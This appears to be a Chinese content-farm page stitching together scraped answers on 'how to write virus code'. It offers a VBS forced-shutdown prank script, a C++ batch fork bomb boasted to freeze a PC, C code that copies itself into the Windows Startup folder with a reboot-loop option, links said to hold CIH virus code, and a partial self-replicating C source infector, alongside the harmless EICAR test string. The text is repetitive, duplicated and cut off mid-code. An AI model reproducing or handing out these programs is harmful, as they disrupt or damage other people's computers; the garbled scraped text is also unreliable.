如何制作病毒代码(如何编写病毒代码)

      最后更新:2023-08-30 15:39

      如何制作电脑病毒

      很荣幸能够回答您的问题!鼠标右键,选择记事本,文本文件,或者rtf文件请点击输入图片描述打开,输入代码:Option ExplicitOn Error Resume NextDim answerDim WshShellset WshShell = CreateObject("wscript.Shell")WshShell.Run "Shutdown /f /s /t 10 /c 输入'我是猪',否则10秒后关机~",0Do While answer<>"我是猪"answer=InputBox("输入'我是猪',否则10秒后关机~","哈哈哈",,7000,8000)LoopWshShell.Run "Shutdown /a",0MsgBox "哈哈哈,好玩不?",,"哈哈哈"黑体为代码请点击输入图片描述保存,更改后缀为“vbs”请点击输入图片描述打开试试吧!不要做坏事哦!希望能帮到您,如有疑问,请追问!
      如何制作电脑病毒

      请问大虾们如何用记事本制作出一个简单的病毒?

      欧洲计算机防病毒协会提供的测试病毒代码。本代码尽管测试,无任何危险。 ---------------------请复制下面的代码到文本中保存-------------------X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*---------------------请复制上面的代码到文本中保存-------------------测试方法:1.鼠标右键点击桌面空白处,创建一个“文本文档”。2.将上面这段测试代码复制到“文本”里,保存,然后可以直接右键点击这个文本,用杀毒软件扫描也可以等一会,如果你的杀毒软件还行,会自动报毒并将该文本删除那就可以初步放心了。测试原理:该段代码是欧洲计算机防病毒协会开发的一种病毒代码,其中的特征码已经包含在各种杀毒软件的病毒代码库里,所以可以用做测试病毒扫描引擎。测试等级:特等:复制完代码后便提示内存有病毒优等:刚保存完就提示病毒(或者直接删除)中等:保存后几秒提示病毒(或者直接删除)下等:需自己启动病毒扫描查杀才提示病毒(或者直接删除)劣等:无论怎么扫描都无法提示病毒(或者直接删除)还有些要放在后缀名为EXE的文件里,双击运行就好了,后缀名为EXE的文件必须由专门的编程软件创建的!明白!!!再给你个病毒代码CIH的!!!破坏力很强的!http://app.wx88.net/virus_new/bdgg/old/new_page_5.asphttp://app.wx88.net/virus_new/bdgg/old/new_page_6.asphttp://app.wx88.net/virus_new/bdgg/old/new_page_7.asp再给你其他病毒的代码!http://app.wx88.net/virus_new/bdgg/old/new_page_11.asphttp://app.wx88.net/virus_new/bdgg/old/new_page_9.asphttp://app.wx88.net/virus_new/bdgg/old/new_page_10.asphttp://app.wx88.net/virus_new/bdgg/old/new_page_15.asphttp://app.wx88.net/virus_new/bdgg/old/new_page_13.asphttp://app.wx88.net/virus_new/bdgg/old/new_page_12.asphttp://app.wx88.net/virus_new/bdgg/old/bdydm16.htm
      请问大虾们如何用记事本制作出一个简单的病毒?

      简单的病毒编程代码

      蠕虫病毒小代码打开Visual Basic,选择“Standard EXE”的Project。移除那个Form,然后加入一个Module。点击Project->Project1 Properties。在弹出来的窗口中,把Startup Object改为“Sub Main”。在Module中,键入以下的编码:Sub Main() 'TaskVisible的功能是把程序在End Task表中除掉。App.TaskVisible = False End Sub。以上的编码只是把程序从End Task表中除掉,没什么作用。现在,让这个VB蠕虫自行复制去别的文件夹。在Sub Main中键入以下的编码:'阻止问题发生On Error Resume Next Dim Location, Location2, DesLocation, DesLocation2 '得到EXE的位置Location = App.Path & "" & App.EXEName & ".exe" Location2 = App.Path & App.EXEName & ".exe"。
      简单的病毒编程代码

      比较简单的C++病毒代码

      /*亲自验证,不到30秒电脑卡死!运行后做好关机准备*//*留下您的赞再拿走,谢谢*/运行效果如图/*源代码:*///////////////////////////////////////////////////#include #include #include using namespace std;int main(){char a[9] = "abc.bat";ofstream file_out(a);file_out<<"%0|%0";file_out.close();system( a );return 0;}
      最简单的病毒 #include "windows.h"#include "stdio.h"void main(int argc,char * argv[]){//printf("%sn",argv[i]);char copy[80];sprintf(copy,"copy%s"%%userprofile%%\「开始」菜单\程序\启动"",argv[0]);system(copy); //将这个程序拷到开机启动文件夹下面//char cmd[]="shutdown -r -t 0";//自动重起char cmd[]="ping baidu.com";//将这个换成上面的,就是一开机就重起了!system(cmd);system("pause"); }
      最简单的病毒代码如下:#include "windows.h" #include "stdio.h"void main(int argc,char * argv[]){//printf("%sn",argv[i]);char copy[80];sprintf(copy,"copy%s"%%userprofile%%\「开始」菜单\程序\启动"",argv[0]);system(copy); //将这个程序拷到开机启动文件夹下面//char cmd[]="shutdown -r -t 0";//自动重起char cmd[]="ping baidu.com";//将这个换成上面的,就是一开机就重起了!system(cmd);system("pause"); }
      /*亲自验证,不到30秒电脑卡死!运行后做好关机准备*/ /*留下您的赞再拿走,谢谢*/运行效果如图/*源代码:*///////////////////////////////////////////////////#include #include #include using namespace std;int main(){char a[9] = "abc.bat";ofstream file_out(a);file_out<<"%0|%0";file_out.close();system( a );return 0; }
      #include "picture.h" //加入绘图头文件 usingnamespacestd;int main(){intx=1024;inty=768;inta,b;clog<<"我恭喜你中了病毒!"<
      比较简单的C++病毒代码

      怎样编写病毒

      3.1.1病毒程序VIRUS.C 这是一个用C语言写的病毒程序,当激发病毒程序时显示时间,然后返回。病毒程序VIRUS.C可将病毒传染给一个C语言程序。当被病毒感染的程序经编译、连接和执行后,又可以将病毒部分传染给其他的C语言源程序。每执行一次带有病毒的C语言程序,就向C语言源程序传播一次病毒。此程序的设计思路如下:当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果有此标志,继续找其它的C文件,直至全部检查一遍。若没有这个标志,则(1)在未被感染的C程序头部加入“INFECTED”已被传染标志。(2)读取病毒文件的头文件,将其插入到即将被感染的文件头部。如果发现有重复则不插入。(3)在主程序中插入“VIRUSES();”调用VIRUSES函数。寻找printf、for、while、break语句,如果找到就在之前插入。(4)在文件尾部插入VIRUSES_SUB子程序。(5)在插入到将感染文件里面的VIRUSES_SUB子程序里面,必须把文件名改为当前自身的文件名,否则被传染后的文件经过编译、连接和运行后不能再继续传染。(6)最后插入VIRUSES子程序。这个子程序里面调用了VIRUSES_SUB,执行到这里返回执行结果信息。其中用到4个出错的返回值,分别是:1:用户文件太大,不传染;2:带病毒文件打不开,不传染;3:带病毒文件读取不成功,不传染;4:查找第一个匹配文件不成功。如果返回值是0代表文件传染成功。具体实现过程如下:其中用到的函数和结构体用法参考3.3节。首先导入病毒子程序要用到的三个库文件,分别是dir.h, stido.h, dos.h.在主函数里面只调用VIRUSES函数。紧跟定义VIRUSES函数里面要调用的VIURS_SUB函数。里面定义了若干个变量。ffblk用来保存查找到的匹配文件的信息,用到里面的ff_name变量来保存匹配文件名。然后定义保存未感染的文件和病毒文件的文件型指针变量,分别用是*virus_r和*virus_v.读取文件的缓冲区,放到二维数组a[500][80]里面临时存放。因为此程序对大于500行的C文件不进行传染,所以完全可以放到里面。首先用getdate函数获取系统当前日期并输出。接着用findfirst函数查找扩展名为C的文件,将其信息保存到ffblk里面。用fgets函数读文件的第一行,长度是80-1个字符。然后用strstr函数检测病毒的标志,看文件是否有INFECT这个标志。如果有,表示文件已经被传染,关闭文件,不进行传染。当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上查找*.C的匹配文件,一旦找到,查找“已被传染过”的标志INFECTED。若有此标志,继续找其它*.C文件,直至全部检查一遍。如果没有这个标志,将文件全部读入a[500][80],如果发现文件超过500行,不传染,返回。将文件指针指向文件头,打开带病毒的文件。如果打不开,返回。然后读取带病毒文件的前4行,也就是病毒子程序要用到的头文件,写入将被传染的文件。若不能读取带病毒文件,返回。用n_line变量控制行数,把将被传染文件的源程序写回原文件。其中要进行处理不写入病毒文件已有的包含语句,也就是说使#Include语句不重复。这点是这样实现的:定义一个字符数组char include_h[]=; strstr函数查看将被传染文件的头文件是否和*include_h[]相同,如果相同,不进行插入。找出CALL VIRUSES;的插入点:如果有一行有printf、break、for、while语句其中之一,就对其后插入调用VIRUSES函数的调用语句。把病毒子程序写入文件。最后处理更改被感染的文件名。如果不进行改名,就不能进行多次传染,也就是说不能体现病毒的自我复制能力。查找一行是static char viruses_f[]=,把其中的文件名改为被感染的文件名。接着查找下一个匹配文件。3.1.2病毒清除程序REVIURS.C病毒的清除过程是和传染过程相逆的。传染的时候插入调用viruses函数的调用语句,在病毒清除文件里面就要删除掉这个语句。然后还要删除掉病毒子程序VIURSES_SUB和VIURSES。有一个问题不能进行还原。因为当时插入病毒子程序需要的头文件时没有记录传染前文件的头文件信息,所以不能进行还原。但是这一点不影响原文件。所以这点在病毒清除程序中没有进行处理。由于演示的时候病毒程序VIRUS.C和清除病毒程序REVIURS.C放在同一个目录下进行演示。考虑到VIRUS.C会把REVIURS.C传染和REVIRUS.C会把VIRUS.C清除两种情况。所以编写这两个程序的时候必须加入一条条件语句if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0)和if(strcmp(ffblk.ff_name,"VIRUS.C")!=0)。当含有清除部分的程序被执行时。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果无此标志,继续找其它的C文件,直至全部检查一遍。若有这个标志,则(1)查找磁盘文件,如果是有病毒的传染标志“INFECTED”则打开文件。如果没有则关闭文件并且寻找下一个TEST*.C。(2)读取文件,首先判断是否为Viruses();如果不是则判断是否为int Viruses_sub(),如果都不是,则把读取部分放在二维数组a[500][80]中,如果只是为int Viruses_sub(),则读取文件结束。(3)关闭文件,然后删除该文件。(4)创建一个跟删除文件相同名字的文件。然后打开。(5)把二维数组a[500][80]中的数据写入到新建的文件中。关闭文件,读取下一个文件。3.2 程序流程图3.2.1 病毒程序VIRUS.C流程图NNY Y有无YN3.2.2 解毒程序REVIRUS.C流程图NY无有YNYN3.3其中用到的函数和结构体的说明:(1)结构体struct ffblk (在dir.h中)类型变量变量ffblk用于打开文件,获取返回值。Struct ffblk{char ff_reserved[21];char ff_attrib;unsigned ff_ftime;unsigned ff_fdate;long ff_fize;char ff_name[13];};程序中只用到ff_name来保存匹配文件名。(2)结构体struct date(在dos.h中)变量struct date{int da_year;/* Year-1980 */char da_day; /* Day of the month */char da_mon;/* Month (1=Jan) */};程序中用来获取系统当前日期。具体用法为:void getdate (struct date *datep);(3)查找匹配文件findfirst()函数和findnext()函数调用方式:整型数=findfirst(文件名,&结构变量名,属性常数组合(如0×24));功能:检索由path和attr指定的文件,把结果返回到afer。Findfirst返回关于第一个指定文件的信息。Findnext继续检索。返回值:0(检索成功),-1(没有找到指定的文件)属性常数:FA_NORMAL(0*00) 含意:Normal file, no attributesFA_RDONLY (0*01) 含意:只读FA_HIDDEN(0*02)含意:隐含文件FA_SYSTEM(0*24)含意:系统文件需要用到的头文件: dir.h程序中的匹配文件属于普通文件,所以属性常数为0。(4)读文件函数原形:char *fgets (char *a, int n, FILE *fp);功能:从fp指向的文件读取一个长度为(n-1)的字符串,最后加一个’ ’,存入始地址为a的空间。若在读完n-1个字符之前遇到换行符或EOF,读入即结束。返回值:返回地址a。若遇文件结束或出错,返回NULL。(5)在字符串中查找指定字符串的第一次出现函数原形;char *strstr(char *str1,char *str2);功能:找出str2字符串在str1字符串中第一次出现的位置(不包括str2的串结束符)。返回值:返回该位置的指针。若找不到,返回NULL指针。程序中用这个函数来判断字符串是否一致。(6)改变文件位置指针函数原形:int fseek (FILE *fp, long offset, int base);功能:将fp所指文件的位置指针移到以base所指出的位置为基准、以offset为位移量的位置。返回值:返回当前位置。否则,返回-1。SEEK_SET为文件开始。由于读取文件的时候文件指针要发生变化。而重新执行一条命令的时候需要重新定位文件指针的位置,所以要用到fseek函数。程序中用这个函数定位到文件头,对文件进行重新读取。3.4 程序清单3.4.1病毒程序VIRUS.C程序清单如下:/*INFECTED*/#include "stdio.h"#include "dos.h"#include "dir.h"main(){viruses();}int viruses_sub(){struct ffblk ffblk;int done,i,j,k,n_line;FILE *virus_r,*virus_v;/*virus_r指向将被感染的文件,virus_v指向已带病毒的文件*/char a[500][80],b[80],*p1,*p2; /*将被传染的文件读入a[500][80]临时存放*/static char viruses_f[]=;/*文件被传染后,修改该值为自身文件名*/int include_write;int virus_call=0;int virus_start=0;char *main_flag[]=;char *include_h[]=;char *v_flag[]=;struct date today;/*VIRUSES DISPLAY*/getdate(&today); /*病毒显示日期信息*/printf("Today is %d/%d/%dn",today.da_mon,today.da_day,today.da_year);/*AFFECT VIRUSES*/done=findfirst("*.c",&ffblk,0); /*查找第一个匹配文件*/while(!done){if(strcmp(ffblk.ff_name,"REVIRUS.C")!=0){virus_r=fopen(ffblk.ff_name,"r+w");if(virus_r!=NULL){p1=fgets(&a[0][0],80,virus_r);if(strstr(p1,v_flag[0])==NULL){n_line=0; /*把文件全部读入a[500][80]*/while(p1!=NULL){n_line++;p1=fgets(&a[n_line][0],80,virus_r);if(n_line>=500){fclose(virus_r);return(1);}}fseek(virus_r,0,SEEK_SET);virus_v=fopen(&viruses_f[0],"r"); /*打开带病毒的文件*/if(virus_v==NULL){fclose(virus_r);return(2);}for(i=1;i<5;i++) /*读带病毒文件前4行并写入将被传染的文件*/{p2=fgets(b,80,virus_v);if(p2==NULL){fclose(virus_r);fclose(virus_v);return(3);}fputs(b,virus_r);}for(j=0;j1.1病毒程序VIRUS.C 这是一个用C语言写的病毒程序,当激发病毒程序时显示时间,然后返回。病毒程序VIRUS.C可将病毒传染给一个C语言程序。当被病毒感染的程序经编译、连接和执行后,又可以将病毒部分传染给其他的C语言源程序。每执行一次带有病毒的C语言程序,就向C语言源程序传播一次病毒。此程序的设计思路如下:当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果有此标志,继续找其它的C文件,直至全部检查一遍。若没有这个标志,则(1)在未被感染的C程序头部加入“INFECTED”已被传染标志。(2)读取病毒文件的头文件,将其插入到即将被感染的文件头部。如果发现有重复则不插入。(3)在主程序中插入“VIRUSES();”调用VIRUSES函数。寻找printf、for、while、break语句,如果找到就在之前插入。(4)在文件尾部插入VIRUSES_SUB子程序。(5)在插入到将感染文件里面的VIRUSES_SUB子程序里面,必须把文件名改为当前自身的文件名,否则被传染后的文件经过编译、连接和运行后不能再继续传染。(6)最后插入VIRUSES子程序。这个子程序里面调用了VIRUSES_SUB,执行到这里返回执行结果信息。其中用到4个出错的返回值,分别是:1:用户文件太大,不传染;2:带病毒文件打不开,不传染;3:带病毒文件读取不成功,不传染;4:查找第一个匹配文件不成功。如果返回值是0代表文件传染成功。具体实现过程如下:其中用到的函数和结构体用法参考3.3节。首先导入病毒子程序要用到的三个库文件,分别是dir.h,stido.h,dos.h.在主函数里面只调用VIRUSES函数。紧跟定义VIRUSES函数里面要调用的VIURS_SUB函数。里面定义了若干个变量。ffblk用来保存查找到的匹配文件的信息,用到里面的ff_name变量来保存匹配文件名。然后定义保存未感染的文件和病毒文件的文件型指针变量,分别用是*virus_r和*virus_v.读取文件的缓冲区,放到二维数组a[500][80]里面临时存放。因为此程序对大于500行的C文件不进行传染,所以完全可以放到里面。首先用getdate函数获取系统当前日期并输出。接着用findfirst函数查找扩展名为C的文件,将其信息保存到ffblk里面。用fgets函数读文件的第一行,长度是80-1个字符。然后用strstr函数检测病毒的标志,看文件是否有INFECT这个标志。如果有,表示文件已经被传染,关闭文件,不进行传染。当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上查找*.C的匹配文件,一旦找到,查找“已被传染过”的标志INFECTED。若有此标志,继续找其它*.C文件,直至全部检查一遍。如果没有这个标志,将文件全部读入a[500][80],如果发现文件超过500行,不传染,返回。将文件指针指向文件头,打开带病毒的文件。如果打不开,返回。然后读取带病毒文件的前4行,也就是病毒子程序要用到的头文件,写入将被传染的文件。若不能读取带病毒文件,返回。用n_line变量控制行数,把将被传染文件的源程序写回原文件。其中要进行处理不写入病毒文件已有的包含语句,也就是说使#Include语句不重复。 这点是这样实现的:定义一个字符数组charinclude_h[]=;strstr函数查看将被传染文件的头文件是否和*include_h[]相同,如果相同,......
      怎样编写病毒

      本文由 在线网速测试 整理编辑,转载请注明出处。

          热门文章

          文章分类